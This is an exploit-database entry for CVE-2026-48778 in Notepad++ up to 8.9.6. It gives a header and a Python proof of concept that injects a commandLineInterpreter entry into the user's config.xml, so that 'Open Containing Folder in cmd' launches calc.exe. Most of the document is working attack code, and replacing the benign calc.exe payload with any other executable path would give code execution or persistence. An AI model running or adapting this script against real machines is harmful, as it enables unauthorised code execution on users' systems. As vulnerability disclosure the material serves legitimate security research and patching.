Notepad++ 8.9.6 - Arbitrary Code Execution

# Exploit Title: Notepad++ 8.9.6 - Arbitrary Code Execution 
# Date: 2026-05-30
# Exploit Author: Kavin Jindal (Avyukt Security) https://www.linkedin.com/in/kavin-jindal/
# Vendor Homepage: https://notepad-plus-plus.org
# Software Link: https://notepad-plus-plus.org/downloads/v8.9.6/
# Version: <= 8.9.6
# Tested on: Windows 10/11
# CVE: CVE-2026-48778
# Reference: https://github.com/notepad-plus-plus/notepad-plus-plus/security/advisories/GHSA-7hm3-wp5q-ccv9
#
# Description:
# Notepad++ reads <GUIConfig name="commandLineInterpreter"> from config.xml without
# validation and passes it to ShellExecute when "Open Containing Folder in cmd" is
# triggered. An attacker with write access to %APPDATA%\Notepad++\ can inject an
# arbitrary executable path, resulting in code execution under the current user context. 
# In the following script, `calc.exe` has been used to demonstrate this vulnerability.


import os, sys


appdata = os.environ["APPDATA"]
if not appdata:
    print("[!] APPDATA environment variable not found, exiting..")
    sys.exit()


config_path = os.path.join(appdata, "Notepad++", "config.xml")
existing = os.path.exists(config_path)
if existing==True:
    print("[+] Found config.xml at ", config_path)
else:
    print("config.xml not found. Ensure Notepad++ is installed and has been launched atleast once.")

x = open(config_path, 'r')
s = x.readlines()

payload='<GUIConfig name="commandLineInterpreter">calc.exe</GUIConfig>\n'
injected=False

for num,i in enumerate(s, start=0):
    if '<GUIConfig name="commandLineInterpreter">' in i:
        print("[!] Injecting payload..")         
        s[num]=payload
        injected=True
        break
    elif "</GUIConfigs>" in i:
        print("[!] Injecting payload..")
        s.insert(num, payload)       
        injected=True
        break
if not injected:
    print("[!] Payload injection failed.")
    sys.exit(1)

y = open(config_path, 'w')
y.writelines(s)
print("[+] Payload injected successfully!")
print("[+] Testing: Open Notepad++ > File > Open Containing Folder > cmd")
print("[+] Calc.exe will launch instead of cmd.")
    

print("end")